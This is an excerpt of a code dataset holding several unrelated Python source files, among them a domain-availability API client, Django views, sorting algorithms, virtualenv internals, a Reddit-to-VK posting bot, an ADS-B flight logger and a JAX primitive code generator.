Name: \")\n print(responseJson['DomainInfo']['domainName'])\n if 'domainAvailability' in responseJson['DomainInfo']:\n print(\"Domain availability: \")\n print(responseJson['DomainInfo']['domainAvailability'])\n\ndef request(url, username, timestamp, digest, domain):\n request = buildRequest(username, timestamp, digest, domain)\n response = urlopen(url + request).read().decode('utf8')\n return response\n\ntimestamp, digest = generateParameters(username, apiKey, secret)\n\nfor domain in domains:\n response = request(url, username, timestamp, digest, domain)\n if \"Request timeout\" in response:\n timestamp, digest = generateParameters(username, apiKey, secret)\n response = request(url, username, timestamp, digest, domain)\n printResponse(response)\n print(\"---------------------------\\n\")","sub_path":"domain.availability/apikey/python/domain_availability_apikey.py","file_name":"domain_availability_apikey.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"203108998","text":"from django.shortcuts import render, get_object_or_404\r\nfrom django.views.generic.edit import CreateView,UpdateView,DeleteView\r\nfrom django.http import HttpResponseRedirect\r\nfrom .models import Zipcode, District, Rep\r\nfrom . import calculator\r\nfrom .forms import ZipcodeForm\r\n\r\n\r\ndef index(request):\r\n for zips in Zipcode.objects.all():\r\n if zips.district_set.all() == []:\r\n zips.delete()\r\n return render(request, 'zip_to_rep/index.html', {'all_zips': Zipcode.objects.all})\r\n\r\n\r\ndef zip_detail(request, zipcode):\r\n zipc = get_object_or_404(Zipcode, zip=zipcode)\r\n for ex in Zipcode.objects.all():\r\n if zipc == ex:\r\n zipc.delete()\r\n info = calculator.get_district_info((zipcode))\r\n new_zip = (Zipcode(zip=zipcode))\r\n new_zip.save()\r\n if new_zip.district_set.all != []:\r\n for district in info['results']:\r\n if district['district'] != 0:\r\n new_district = District(zip_code=new_zip, dist_state=district['state'], dist_num=district['district'])\r\n new_district.save()\r\n name = calculator.get_1rep_name(new_district)\r\n recentbill = calculator.get_bill_name_maybe(new_district)\r\n #howvoted = calculator.get_positon(new_district)\r\n new_rep = Rep(dist=new_district, rep_name=name,recent_bill= recentbill,how_voted= 'for')\r\n new_rep.save()\r\n return render(request, 'zip_to_rep/zip_detail.html', {'zip': zipc})\r\n\r\n\r\nclass ZipAdd(CreateView):\r\n model = Zipcode\r\n fields = ['zip']","sub_path":"represently/zip_to_rep/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"402429969","text":"# -*- coding: UTF-8 -*-\nimport xlsxwriter\nworkbook = xlsxwriter.Workbook('demo1.xlsx')\nworksheet = workbook.add_worksheet()\nworksheet.set_column('A:A',20)\nbold = workbook.add_format({'bold':True})\nworksheet.write('A1','Hello')\nworksheet.write(2,0,32.5)\nworksheet.write(4,0,'=sum(A3:A4)')\nworkbook.close()\n","sub_path":"LibStudy/excelStudy.py","file_name":"excelStudy.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"482738730","text":"import random\nimport time\nimport math\n\ndef insertion(arr):\n for i in range(1, len(arr)):\n j = i\n while j > 0 and arr[j - 1] > arr[j]:\n temp = arr[j]\n arr[j] = arr[j - 1]\n arr[j - 1] = temp\n j -= 1\n return arr\n\ndef shell(arr):\n gaps = [701, 301, 132, 57, 23, 10, 4, 1]\n\n for gap in gaps:\n for i in range(gap, len(arr)):\n temp = arr[i]\n\n j = i\n while j >= gap and arr[j - gap] > temp:\n arr[j] = arr[j - gap]\n j -= gap\n\n arr[j] = temp\n\n return arr\n\ndef partition(arr, low, high):\n pivot = arr[high]\n i = low\n for j in range(low, high):\n if arr[j] < pivot:\n temp = arr[i]\n arr[i] = arr[j]\n arr[j] = temp\n i += 1\n\n temp = arr[i]\n arr[i] = arr[high]\n arr[high] = temp\n\n return arr, i\n\ndef quick_sort_helper(arr, low, high):\n if low < high:\n arr, p = partition(arr, low, high)\n arr = quick_sort_helper(arr, low, p - 1)\n arr = quick_sort_helper(arr, p + 1, high)\n\n return arr\n\ndef quick_sort(arr):\n return quick_sort_helper(arr, 0, len(arr) - 1)\n\ndef bubble(arr):\n n = len(arr)\n while n > 1:\n newn = 0\n for i in range(1, n):\n if arr[i - 1] > arr[i]:\n temp = arr[i]\n arr[i] = arr[i - 1]\n arr[i - 1] = temp\n newn = i\n n = newn\n \n return arr\n\ndef selection(arr):\n for i in range(0, len(arr) - 1):\n min_index = i\n for j in range(i + 1, len(arr)):\n if arr[j] < arr[min_index]:\n min_index = j\n\n if min_index != i:\n temp = arr[i]\n arr[i] = arr[min_index]\n arr[min_index] = temp\n\n return arr\n\ndef sift_down(arr, start, end):\n root = start\n left_child = (root * 2) + 1\n\n while left_child <= end:\n swap = root\n\n if arr[swap] < arr[left_child]:\n swap = left_child\n if left_child + 1 <= end and arr[swap] < arr[left_child + 1]:\n swap = left_child + 1\n if swap == root:\n return arr\n else:\n temp = arr[root]\n arr[root] = arr[swap]\n arr[swap] = temp\n root = swap\n left_child = (root * 2) + 1\n \n return arr\n\ndef heapify(arr):\n start = math.floor((len(arr) - 2) / 2)\n\n while start >= 0:\n arr = sift_down(arr, start, len(arr) - 1)\n start -= 1\n\n return arr\n\ndef heap(arr):\n arr = heapify(arr)\n\n end = len(arr) - 1\n while end > 0:\n temp = arr[end]\n arr[end] = arr[0]\n arr[0] = temp\n end -= 1\n arr = sift_down(arr, 0, end)\n\n return arr\n\ndef rest(arr):\n result = []\n for i in range(1, len(arr)):\n result.append(arr[i])\n\n return result\n\ndef merge(left, right):\n result = []\n index = 0\n\n while len(left) != 0 and len(right) != 0:\n if left[0] <= right[0]:\n result[index] = left[0]\n index += 1\n left = rest(left)\n else:\n result[index] = right[0]\n index += 1\n right = rest(right)\n \n while len(left) != 0:\n result[index] = left[0]\n index += 1\n left = rest(left)\n \n while len(right) != 0:\n result[index] = right[0]\n index += 1\n right = rest(right)\n\n return result\n\ndef merge_sort(arr):\n if len(arr) <= 1:\n return arr\n\n left = []\n right = []\n\n for i in range(0, len(arr)):\n if i < len(arr) / 2:\n left.append(arr[i])\n else:\n right.append(arr[i])\n\n left = merge_sort(left)\n right = merge_sort(right)\n\n return merge(left, right)\n\ncurrent_time_millis = lambda: int(round(time.time() * 1000))\n\narr = [random.randrange(0, 100000) for i in range(10000)]\nprint(arr)\n\nstart = current_time_millis()\narr = heap(arr)\nend = current_time_millis()\n\nprint(arr)\nprint(\"Elapsed Time: \", (end - start), \" ms\")\n\n\n","sub_path":"Sorts Source Code/Python/sorts.py","file_name":"sorts.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"443885736","text":"from __future__ import absolute_import, unicode_literals\n\nimport logging\nfrom abc import ABCMeta\nfrom collections import namedtuple\n\nfrom six import add_metaclass\n\nfrom virtualenv.create.via_global_ref.builtin.ref import ExePathRefToDest\nfrom virtualenv.info import fs_supports_symlink\nfrom virtualenv.util.path import ensure_dir\n\nfrom ..api import ViaGlobalRefApi\nfrom .builtin_way import VirtualenvBuiltin\n\nMeta = namedtuple(\"Meta\", [\"sources\", \"can_copy\", \"can_symlink\"])\n\n\n@add_metaclass(ABCMeta)\nclass ViaGlobalRefVirtualenvBuiltin(ViaGlobalRefApi, VirtualenvBuiltin):\n def __init__(self, options, interpreter):\n super(ViaGlobalRefVirtualenvBuiltin, self).__init__(options, interpreter)\n self._sources = getattr(options.meta, \"sources\", None) # if we're created as a describer this might be missing\n\n @classmethod\n def can_create(cls, interpreter):\n \"\"\"By default all built-in methods assume that if we can describe it we can create it\"\"\"\n # first we must be able to describe it\n if cls.can_describe(interpreter):\n sources = []\n can_copy = True\n can_symlink = fs_supports_symlink()\n for src in cls.sources(interpreter):\n if src.exists:\n if can_copy and not src.can_copy:\n can_copy = False\n logging.debug(\"%s cannot copy %s\", cls.__name__, src)\n if can_symlink and not src.can_symlink:\n can_symlink = False\n logging.debug(\"%s cannot symlink %s\", cls.__name__, src)\n if not (can_copy or can_symlink):\n break\n else:\n logging.debug(\"%s missing %s\", cls.__name__, src)\n break\n sources.append(src)\n else:\n return Meta(sources, can_copy, can_symlink)\n return None\n\n @classmethod\n def sources(cls, interpreter):\n is_py2 = interpreter.version_info.major == 2\n for host_exe, targets in cls._executables(interpreter):\n yield ExePathRefToDest(host_exe, dest=cls.to_bin, targets=targets, must_copy=is_py2)\n\n def to_bin(self, src):\n return self.bin_dir / src.name\n\n @classmethod\n def _executables(cls, interpreter):\n raise NotImplementedError\n\n def create(self):\n dirs = self.ensure_directories()\n for directory in list(dirs):\n if any(i for i in dirs if i is not directory and directory.parts == i.parts[: len(directory.parts)]):\n dirs.remove(directory)\n for directory in sorted(dirs):\n ensure_dir(directory)\n\n self.set_pyenv_cfg()\n self.pyenv_cfg.write()\n true_system_site = self.enable_system_site_package\n try:\n self.enable_system_site_package = False\n for src in self._sources:\n src.run(self, self.symlinks)\n finally:\n if true_system_site != self.enable_system_site_package:\n self.enable_system_site_package = true_system_site\n super(ViaGlobalRefVirtualenvBuiltin, self).create()\n\n def ensure_directories(self):\n return {self.dest, self.bin_dir, self.script_dir, self.stdlib} | set(self.libs)\n\n def set_pyenv_cfg(self):\n \"\"\"\n We directly inject the base prefix and base exec prefix to avoid site.py needing to discover these\n from home (which usually is done within the interpreter itself)\n \"\"\"\n super(ViaGlobalRefVirtualenvBuiltin, self).set_pyenv_cfg()\n self.pyenv_cfg[\"base-prefix\"] = self.interpreter.system_prefix\n self.pyenv_cfg[\"base-exec-prefix\"] = self.interpreter.system_exec_prefix\n self.pyenv_cfg[\"base-executable\"] = self.interpreter.system_executable\n","sub_path":"src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py","file_name":"via_global_self_do.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"406089184","text":"\"\"\"\nplots.py\n\nThu Oct 11 11:12:18 CEST 2012\n\"\"\"\n\nfrom matplotlib.pyplot import figure, show\nimport numpy as np\ndef raster_plot(nparray):\n \"\"\"\n plot a raster plot as in Fig 2 from Gibson & Robison, 1992\n\n nparray a 2D NumPy array with the zeros and ones\n\n \n \"\"\"\n fig = figure(1)\n ax = fig.add_subplot(111)\n\n for i in range(nparray.shape[0]):\n xdata = np.ones(nparray.shape[1])*i\n ydata = (nparray[i]>0).choose(np.nan, 1)\n ydata = ydata*range(1, len(ydata)+1) #transform ones in indices\n ax.plot(xdata, ydata, '|', color='k', rasterized=True, markeredgewidth=2, markersize=2)\n \n\n ax.set_xlim(xmin = -0.5, xmax=i+1)\n ax.set_ylim(ymax = nparray.shape[1])\n ax.set_ylabel('Number of active neurons')\n ax.set_xlabel('Recall step')\n show()\n\n\nif __name__ == '__main__':\n import numpy as np\n\n X = np.array([1,1,0,0,0,1,1,1,1,0],dtype=int)\n for _ in range(5):\n Y = np.array([1,1,0,0,0,1,0,1,0, 1],dtype=int)\n X = np.vstack((X, Y))\n \n raster_plot(X.T)\n \n\n","sub_path":"GibsonRobinson1992.model/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"109059533","text":"import requests\nimport json\nimport reddit\nimport vk_requests\nimport time\nimport os\n\nGROUP_ID = \"173009640\"\nAPP_ID = \"6730383\"\n\nLOGIN = os.environ.get(\"VK_MEMES_LOGIN\", '')\nPASSWORD = os.environ.get(\"VK_MEMES_PASSWORD\", '')\n\n\ndef main():\n\n print(\"start\")\n api = vk_requests.create_api(app_id=APP_ID, login=LOGIN, password=PASSWORD, scope='wall,photos')\n\n posts = reddit.get_photos_from_reddit('memes', 24)\n print(\"downloaded {count} posts\".format(count=len(posts)))\n current_time = int(time.time())\n publish_time = current_time + 60*42\n \n for post in posts:\n photo = '/tmp/'+post['photo']\n\n upload_url = api.photos.getWallUploadServer(group_id=GROUP_ID)['upload_url']\n request = requests.post(upload_url, files={'photo': open(photo, \"rb\")})\n \n \n params = {\n 'server': request.json()['server'],\n 'photo': request.json()['photo'],\n 'hash': request.json()['hash'],\n 'group_id': GROUP_ID\n }\n\n save_r = api.photos.saveWallPhoto(**params)\n \n photo_id = save_r[0]['id']\n owner_id = save_r[0]['owner_id'] \n\n params = {'attachments': 'photo{owner_id}_{photo_id}'.format(owner_id=owner_id, photo_id=photo_id),\n 'message': post['title'],\n 'owner_id': '-' + GROUP_ID,\n 'from_group': '1',\n 'publish_date': publish_time,\n }\n api.wall.post(**params)\n print(\"published {title}\".format(title=post['title']))\n publish_time = publish_time + 60 * 60\n time.sleep(1)\n print(\"success\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"vk.py","file_name":"vk.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"598068525","text":"#!/usr/bin/python\n\n#================================================================================#\n# ADS-B FEEDER PORTAL #\n# ------------------------------------------------------------------------------ #\n# Copyright and Licensing Information: #\n# #\n# The MIT License (MIT) #\n# #\n# Copyright (c) 2015-2016 Joseph A. Prochazka #\n# #\n# Permission is hereby granted, free of charge, to any person obtaining a copy #\n# of this software and associated documentation files (the \"Software\"), to deal #\n# in the Software without restriction, including without limitation the rights #\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #\n# copies of the Software, and to permit persons to whom the Software is #\n# furnished to do so, subject to the following conditions: #\n# #\n# The above copyright notice and this permission notice shall be included in all #\n# copies or substantial portions of the Software. #\n# #\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #\n# SOFTWARE. #\n#================================================================================#\n\n# WHAT THIS DOES: \n# ---------------------------------------------------------------\n#\n# 1) Read aircraft.json generated by dump1090-mutability.\n# 2) Add the flight to the database if it does not already exist.\n# 3) Update the last time the flight was seen.\n\nimport datetime\nimport json\nimport time\nimport os\n#import urllib2\n\nwhile True:\n\n # Read the configuration file.\n with open(os.path.dirname(os.path.realpath(__file__)) + '/config.json') as config_file:\n config = json.load(config_file)\n\n # Import the needed database library.\n if config[\"database\"][\"type\"] == \"mysql\":\n import MySQLdb\n if config[\"database\"][\"type\"] == \"sqlite\":\n import sqlite3\n\n # Read dump1090-mutability's aircraft.json.\n with open('/run/dump1090-mutability/aircraft.json') as data_file:\n data = json.load(data_file)\n # For testing using a remote JSON feed.\n #response = urllib2.urlopen('http://192.168.254.2/dump1090/data/aircraft.json')\n #data = json.load(response)\n\n if config[\"database\"][\"type\"] == \"sqlite\":\n ## Connect to a SQLite database.\n db = sqlite3.connect(config[\"database\"][\"db\"])\n else:\n ## Connect to a MySQL database.\n db = MySQLdb.connect(host=config[\"database\"][\"host\"], user=config[\"database\"][\"user\"], passwd=config[\"database\"][\"passwd\"], db=config[\"database\"][\"db\"])\n\n # Assign the time to a variable.\n time_now = datetime.datetime.utcnow().strftime(\"%Y/%m/%d %H:%M:%S\")\n\n cursor = db.cursor()\n for aircraft in data[\"aircraft\"]:\n # Check if this aircraft was already seen.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft[\"hex\"],)\n cursor.execute(\"SELECT COUNT(*) FROM adsb_aircraft WHERE icao = ?\", params)\n else:\n cursor.execute(\"SELECT COUNT(*) FROM adsb_aircraft WHERE icao = %s\", aircraft[\"hex\"])\n row_count = cursor.fetchone()\n if row_count[0] == 0:\n # Insert the new aircraft.\n #print(\"Added Aircraft: \" + aircraft[\"hex\"])\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft[\"hex\"], time_now, time_now,)\n cursor.execute(\"INSERT INTO adsb_aircraft (icao, firstSeen, lastSeen) VALUES (?, ?, ?)\", params)\n else:\n cursor.execute(\"INSERT INTO adsb_aircraft (icao, firstSeen, lastSeen) VALUES (%s, %s, %s)\", (aircraft[\"hex\"], time_now, time_now))\n else:\n # Update the existing aircraft.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (time_now, aircraft[\"hex\"],)\n cursor.execute(\"UPDATE adsb_aircraft SET lastSeen = ? WHERE icao = ?\", params)\n else:\n cursor.execute(\"UPDATE adsb_aircraft SET lastSeen = %s WHERE icao = %s\", (time_now, aircraft[\"hex\"]))\n # Get the ID of this aircraft.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft[\"hex\"],)\n cursor.execute(\"SELECT id FROM adsb_aircraft WHERE icao = ?\", params)\n else:\n cursor.execute(\"SELECT id FROM adsb_aircraft WHERE icao = %s\", aircraft[\"hex\"])\n rows = cursor.fetchall()\n for row in rows:\n aircraft_id = row[0]\n\n # Check that a flight is tied to this track.\n if aircraft.has_key('flight'):\n # Check to see if the flight already exists in the database.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft[\"flight\"].strip(),)\n cursor.execute(\"SELECT COUNT(*) FROM adsb_flights WHERE flight = ?\", params)\n else:\n cursor.execute(\"SELECT COUNT(*) FROM adsb_flights WHERE flight = %s\", aircraft[\"flight\"].strip())\n row_count = cursor.fetchone()\n if row_count[0] == 0:\n # If the flight does not exist in the database add it.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft_id, aircraft[\"flight\"].strip(), time_now, time_now,)\n cursor.execute(\"INSERT INTO adsb_flights (aircraft, flight, firstSeen, lastSeen) VALUES (?, ?, ?, ?)\", params)\n else:\n cursor.execute(\"INSERT INTO adsb_flights (aircraft, flight, firstSeen, lastSeen) VALUES (%s, %s, %s, %s)\", (aircraft_id, aircraft[\"flight\"].strip(), time_now, time_now))\n #print(\"Added Flight: \" + aircraft[\"flight\"].strip())\n else:\n # If it already exists pdate the time it was last seen.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params =(aircraft_id, time_now, aircraft[\"flight\"].strip(),)\n cursor.execute(\"UPDATE adsb_flights SET aircraft = ?, lastSeen = ? WHERE flight = ?\", params)\n else:\n cursor.execute(\"UPDATE adsb_flights SET aircraft = %s, lastSeen = %s WHERE flight = %s\", (aircraft_id, time_now, aircraft[\"flight\"].strip()))\n # Get the ID of this flight.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (aircraft[\"flight\"].strip(),)\n cursor.execute(\"SELECT id FROM adsb_flights WHERE flight = ?\", params)\n else:\n cursor.execute(\"SELECT id FROM adsb_flights WHERE flight = %s\", aircraft[\"flight\"].strip())\n rows = cursor.fetchall()\n for row in rows:\n flight_id = row[0]\n\n # Check if position data is available.\n if aircraft.has_key('lat') and aircraft.has_key('lon') and aircraft.has_key('altitude') and aircraft.has_key('speed') and aircraft.has_key('track') and aircraft.has_key('vert_rate') and aircraft[\"altitude\"] != \"ground\":\n # Check that this message has not already been added to the database.\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (flight_id, aircraft[\"messages\"],)\n cursor.execute(\"SELECT message FROM adsb_positions WHERE flight = ? AND message = ? ORDER BY time DESC\", params)\n else:\n cursor.execute(\"SELECT message FROM adsb_positions WHERE flight = %s AND message = %s ORDER BY time DESC\", (flight_id, aircraft[\"messages\"]))\n rows = cursor.fetchall()\n row_count = cursor.rowcount\n last_message = 0\n for row in rows:\n last_message = row[0]\n if row_count == 0 or last_message != aircraft[\"messages\"]:\n # Add this position to the database.\n if aircraft.has_key('squawk'):\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (flight_id, time_now, aircraft[\"messages\"], aircraft[\"squawk\"], aircraft[\"lat\"], aircraft[\"lon\"], aircraft[\"track\"], aircraft[\"altitude\"], aircraft[\"vert_rate\"], aircraft[\"speed\"],)\n cursor.execute(\"INSERT INTO adsb_positions (flight, time, message, squawk, latitude, longitude, track, altitude, verticleRate, speed) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\", params)\n else:\n cursor.execute(\"INSERT INTO adsb_positions (flight, time, message, squawk, latitude, longitude, track, altitude, verticleRate, speed) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\", (flight_id, time_now, aircraft[\"messages\"], aircraft[\"squawk\"], aircraft[\"lat\"], aircraft[\"lon\"], aircraft[\"track\"], aircraft[\"altitude\"], aircraft[\"vert_rate\"], aircraft[\"speed\"]))\n else:\n if config[\"database\"][\"type\"] == \"sqlite\":\n params = (flight_id, time_now, aircraft[\"messages\"], aircraft[\"lat\"], aircraft[\"lon\"], aircraft[\"track\"], aircraft[\"altitude\"], aircraft[\"vert_rate\"], aircraft[\"speed\"],)\n cursor.execute(\"INSERT INTO adsb_positions (flight, time, message, latitude, longitude, track, altitude, verticleRate, speed) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\", params)\n else:\n cursor.execute(\"INSERT INTO adsb_positions (flight, time, message, latitude, longitude, track, altitude, verticleRate, speed) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", (flight_id, time_now, aircraft[\"messages\"], aircraft[\"lat\"], aircraft[\"lon\"], aircraft[\"track\"], aircraft[\"altitude\"], aircraft[\"vert_rate\"], aircraft[\"speed\"]))\n\n # Close the database connection.\n db.commit()\n db.close()\n\n #print(\"Last Run: \" + datetime.datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")) \n time.sleep(15)\n","sub_path":"build/portal/logging/flights.py","file_name":"flights.py","file_ext":"py","file_size_in_byte":10916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"229082406","text":"# At the end do expand -4 JaxPrintout.py > test.py\n# This is utiliy used for creating the jax primitives for nTFC.\nimport numpy as np\n\n# Printout file\nfileName = \"JaxPrimitivePrintout.py\"\n\nprims = {\"H\":{'deriv':\"np.array([0],dtype=np.int32)\",'derivFuncs':[\"Hx\",\"Hy\",\"Hz\",\"Hw\"]},\n \"Hx\":{'deriv':\"np.array([1],dtype=np.int32)\",'derivFuncs':[\"Hx2\",\"Hxy\",\"Hxz\",\"Hxw\"]},\n \"Hy\":{'deriv':\"np.array([0,1],dtype=np.int32)\",'derivFuncs':[\"Hxy\",\"Hy2\",\"Hyz\",\"Hyw\"]},\n \"Hz\":{'deriv':\"np.array([0,0,1],dtype=np.int32)\",'derivFuncs':[\"Hxz\",\"Hyz\",\"Hz2\",\"Hzw\"]},\n \"Hw\":{'deriv':\"np.array([0,0,0,1],dtype=np.int32)\",'derivFuncs':[\"Hxw\",\"Hyw\",\"Hzw\",\"Hw2\"]},\n \"Hxy\":{'deriv':\"np.array([1,1],dtype=np.int32)\",'derivFuncs':[\"Hx2y\",\"Hxy2\"]},\n \"Hxz\":{'deriv':\"np.array([1,0,1],dtype=np.int32)\",'derivFuncs':[\"Hx2z\"]},\n \"Hxw\":{'deriv':\"np.array([1,0,0,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hyz\":{'deriv':\"np.array([0,1,1],dtype=np.int32)\",'derivFuncs':[None,\"Hy2z\"]},\n \"Hyw\":{'deriv':\"np.array([0,1,0,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hzw\":{'deriv':\"np.array([0,0,1,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx2\":{'deriv':\"np.array([2],dtype=np.int32)\",'derivFuncs':[\"Hx3\",\"Hx2y\"]},\n \"Hy2\":{'deriv':\"np.array([0,2],dtype=np.int32)\",'derivFuncs':[\"Hxy2\",\"Hy3\"]},\n \"Hz2\":{'deriv':\"np.array([0,0,2],dtype=np.int32)\",'derivFuncs':[None,None,\"Hz3\"]},\n \"Hw2\":{'deriv':\"np.array([0,0,0,2],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx2y\":{'deriv':\"np.array([2,1],dtype=np.int32)\",'derivFuncs':[\"Hx3y\",\"Hx2y2\"]},\n \"Hx2z\":{'deriv':\"np.array([2,0,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hxy2\":{'deriv':\"np.array([1,2],dtype=np.int32)\",'derivFuncs':[\"Hx2y2\",\"Hxy3\"]},\n \"Hy2z\":{'deriv':\"np.array([0,2,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx3\":{'deriv':\"np.array([3],dtype=np.int32)\",'derivFuncs':[\"Hx4\",\"Hx3y\"]},\n \"Hy3\":{'deriv':\"np.array([0,3],dtype=np.int32)\",'derivFuncs':[\"Hxy3\",\"Hy4\"]},\n \"Hz3\":{'deriv':\"np.array([0,0,3],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hxy3\":{'deriv':\"np.array([1,3],dtype=np.int32)\",'derivFuncs':[\"Hx2y3\",\"Hxy4\"]},\n \"Hx3y\":{'deriv':\"np.array([3,1],dtype=np.int32)\",'derivFuncs':[\"Hx4y\",\"Hx3y2\"]},\n \"Hx2y2\":{'deriv':\"np.array([2,2],dtype=np.int32)\",'derivFuncs':[\"Hx3y2\",\"Hx2y3\"]},\n \"Hx4\":{'deriv':\"np.array([4],dtype=np.int32)\",'derivFuncs':[\"Hx5\",\"Hx4y\"]},\n \"Hy4\":{'deriv':\"np.array([0,4],dtype=np.int32)\",'derivFuncs':[\"Hxy4\",\"Hy5\"]},\n \"Hxy4\":{'deriv':\"np.array([1,4],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx4y\":{'deriv':\"np.array([4,1],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx3y2\":{'deriv':\"np.array([3,2],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx2y3\":{'deriv':\"np.array([2,3],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hx5\":{'deriv':\"np.array([5],dtype=np.int32)\",'derivFuncs':[None]},\n \"Hy5\":{'deriv':\"np.array([0,5],dtype=np.int32)\",'derivFuncs':[None]}}\n\n# Names of all the primitives\nnames = list(prims.keys())\n\n# Variable names used\nvarNames = ['x','y','z','w']\n\n# Open the file for writing\nfid = open(fileName,\"w\")\n\n# Constants\nn = len(names)\n\n# Create primitives\nfid.write(\"useValDefault = self.useValDefault\\n\\n\")\nfid.write(\"# Create Primitives\\n\")\nfor k in range(n):\n fid.write(names[k]+'_p = core.Primitive(\"'+names[k]+'\")\\n')\nfid.write(\"\\n\")\n \nfor k in range(n):\n fid.write('def '+names[k]+'jax(*x,full=False,useVal=useValDefault):\\n\\treturn '+names[k]+'_p.bind(*x,full=full,useVal=useVal)\\n')\nfid.write(\"\\n\")\n\n# Create implicit translations\nfid.write(\"# Implicit translations\\n\")\nfor k in range(n):\n fid.write('def '+names[k]+'_impl(*x,full=False,useVal=useValDefault):\\n\\treturn self.basisClass.H(np.array(x),'+prims[names[k]]['deriv']+',full,useVal)\\n')\nfid.write(\"\\n\")\n\nfor k in range(n):\n fid.write(names[k]+'_p.def_impl('+names[k]+'_impl)\\n')\nfid.write(\"\\n\")\n\n# Abstract evaluation\nfid.write(\"def H_abstract_eval(*x,full=False,useVal=useValDefault):\\n\\tif any(useVal):\\n\\t\\tdim0 = x[0].shape[0]\\n\\telse:\\n\\t\\tdim0 = self.basisClass.n\\n\\tif full:\\n\\t\\tdim1 = self.basisClass.numBasisFuncFull\\n\\telse:\\n\\t\\tdim1 = self.basisClass.numBasisFunc\\n\\treturn abstract_arrays.ShapedArray((dim0,dim1),x[0].dtype)\\n\")\nfid.write(\"\\n\")\n\nfor k in range(n):\n fid.write(names[k]+'_p.def_abstract_eval(H_abstract_eval)\\n')\nfid.write(\"\\n\")\n\n# XLA compilation\ndef CreateXlaString(k):\n lenDeriv = eval(prims[names[k]]['deriv']).shape[0]\n mystr = \"def \"+names[k]+\"_xla(c,*x,full=False,useVal=useValDefault):\\n\\tc = _unpack_builder(c)\\n\\tx_shape = c.get_shape(x[0])\\n\\tdims = x_shape.dimensions()\\n\\tdtype = x_shape.element_type()\\n\\tif any(useVal):\\n\\t\\tdim0 = dims[0]\\n\\telse:\\n\\t\\tdim0 = self.basisClass.n\\n\\tif full:\\n\\t\\tdim1 = self.basisClass.numBasisFuncFull\\n\\telse:\\n\\t\\tdim1 = self.basisClass.numBasisFunc\\n\\t\"+\"return xla_client.ops.CustomCall(c, xlaName, (_constant_s32_scalar(c,self.basisClass.identifier),\\n\\\n xla_client.ops.ConcatInDim(c,x,0),\\n\\\n _constant_array(c,\"+prims[names[k]]['deriv']+\"),\\n\\\n _constant_s32_scalar(c,\"+str(lenDeriv)+\"),\\n\\\n _constant_bool(c,full),\\n\\\n _constant_array(c,useVal),\\n\\\n _constant_s32_scalar(c,dim0),\\n\\\n _constant_s32_scalar(c,dim1)\\n\\\n ),\\n\\\n xla_client.Shape.array_shape(dtype,(dim0,dim1)))\\n\"\n return mystr\n\nfid.write(\"# XLA compilation\\n\")\nfor k in range(n):\n fid.write(CreateXlaString(k))\nfid.write(\"\\n\")\n\nfor k in range(n):\n fid.write('xla.backend_specific_translations[\"cpu\"]['+names[k]+'_p] = '+names[k]+'_xla\\n')\nfid.write(\"\\n\")\n\n# Batching translations\nfid.write(\"# Batching translations\\n\")\n\nfor k in range(n):\n fid.write(\"def \"+names[k]+\"_batch(vec,batch,full=False,useVal=useValDefault):\\n\\treturn \"+names[k]+\"jax(*vec,full=full,useVal=useVal), batch[0]\\n\")\nfid.write(\"\\n\")\n\nfor k in range(n):\n 